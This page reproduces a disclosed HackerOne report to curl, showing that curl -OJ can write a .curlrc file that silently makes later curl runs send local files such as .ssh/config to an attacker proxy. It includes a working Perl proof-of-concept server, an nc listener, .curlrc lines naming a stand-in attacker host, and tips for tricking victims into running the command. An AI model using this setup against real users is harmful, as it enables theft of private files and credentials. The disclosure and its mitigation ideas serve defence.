Skip to content
File upload Disclosed report Intermediate

curl -OJ allows creating custom .curlrc file which allows exfiltrating private data, among other things

curl's -OJ option writes a file named from the server's Content-Disposition header, which can be .curlrc. An attacker can then control curl's default arguments, causing future curl invocations to send local files to an attacker-controlled proxy.

wolfsage Follow

Originally disclosed on HackerOne

Informational View original
  • Disclosed after 54 days

Summary:

If someone convinces someone to use curl -OJ http://example.com/somefile.txt, the Content-Disposition header can be used to create a .curlrc file if one doesn't exist (and one is running curl from the home directory).

From that point on, the attack controls any argument to all curl invocations.

Combine this with the following .curlrc:

proxy = http://attacker-controlled-site.com
data = @/path/to/some/file

And the attacker can read whatever file(s) they wish from the user's system that the user has access to, as any curl request will send that to the proxy.

No AI was used (or ever will be!).

Affected version

git@16db059a93240dd7917728c2db55935f60a150ea

curl 8.14.0-DEV (x86_64-pc-linux-gnu) libcurl/8.14.0-DEV OpenSSL/3.0.2 zlib/1.2.11 libpsl/0.21.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets

Steps To Reproduce:

Prereq: No existing ~/.curlrc, and running curl from home directory

  1. Run this perl server in one terminal, the key bit being in responds with an HTTP response like so:
    HTTP/1.1 200 Ok
    Content-Disposition: filename=.curlrc

    proxy = http://localhost:5555
    data = @.ssh/config
use strict;
use warnings;
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_RDWR);

my $server = IO::Socket->new(
  Domain    => AF_INET,
  Type      => SOCK_STREAM,
  Proto     => 'tcp',
  LocalHost => '0.0.0.0',
  LocalPort => 3333,
  ReusePort => 1,
  Listen => 5,
) || die "Can't open socket: $@";

print "Try http://127.0.0.1:3333\n\n";

while (1) {
  my $client = $server->accept();

  print "Got a client\n";

  # Read request and ignore
  my $data = "";
  $client->recv($data, 1024);

  print "Got a request: \n\n" . $data =~ s/^/  /gmr;

  $client->send("HTTP/1.1 200 OK\r\n");
  $client->send(<<~'EOF');
    Content-Disposition: filename=.curlrc

    proxy = http://localhost:5555
    data = @.ssh/config
    EOF

  $client->shutdown(SHUT_RDWR);

  print "Responded\n\n";
}
  1. In another terminal, run something to listen on a socket and print out what it sees (bsd nc for example):
nc -klp 5555
  1. Run the first curl in the home directory which sets up the attack by writing out .curlrc:
curl -OJ localhost:3333
  1. Run curl again with any http url:
curl google.com

... and you'll see the .ssh/config sent to the nc proxy

Impact

Summary:

This one still requires a little finessing from the attacker but seems much easier to achieve great harm with. You only need convince someone to do curl -OJ http://example.com/some-thing.txt

and then nothing more (and eventually the user may run curl on their own), or when the person says "That didn't work" you can send them "Oh, my mistake, I meant..." and then send them something plausible.

Getting folks to run a curl command is not particularly hard, especially hanging out in chat rooms on IRC, etc.

Mitigation for this one feels like...

  1. Curl shouldn't write hidden files with -J
  2. Curl with -J should maybe state what filename was written out
  3. -J's documentation should provide a harsher warning

The original report as published on HackerOne, by wolfsage. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely curl does not prevent -OJ from writing hidden configuration files like .curlrc, which are automatically loaded on subsequent runs.

Impact

An attacker could exfiltrate arbitrary files the user can access, but only if the user runs curl from their home directory and no .curlrc already exists.

What the attacker needed

No existing ~/.curlrc; Running curl from home directory; Victim runs curl -OJ on attacker URL

How it was found

  1. Run a malicious server that responds with a Content-Disposition header setting the filename to .curlrc and a body containing proxy and data directives.
  2. Start a listener to capture the exfiltrated data.
  3. In the home directory, run curl -OJ against the malicious server to create .curlrc.
  4. Run curl again with any HTTP URL; the .curlrc settings cause the specified local file to be sent to the attacker's proxy.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

curl is a tool for downloading things from the internet. The -OJ option tells it to save the file using the name the server suggests. If that name is .curlrc, curl will read it as a settings file next time, letting the attacker redirect your downloads and steal files.

What is File upload?

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.

More by wolfsage

View all

1 more disclosed report, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Unrestricted file upload

The lesson behind this report.

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.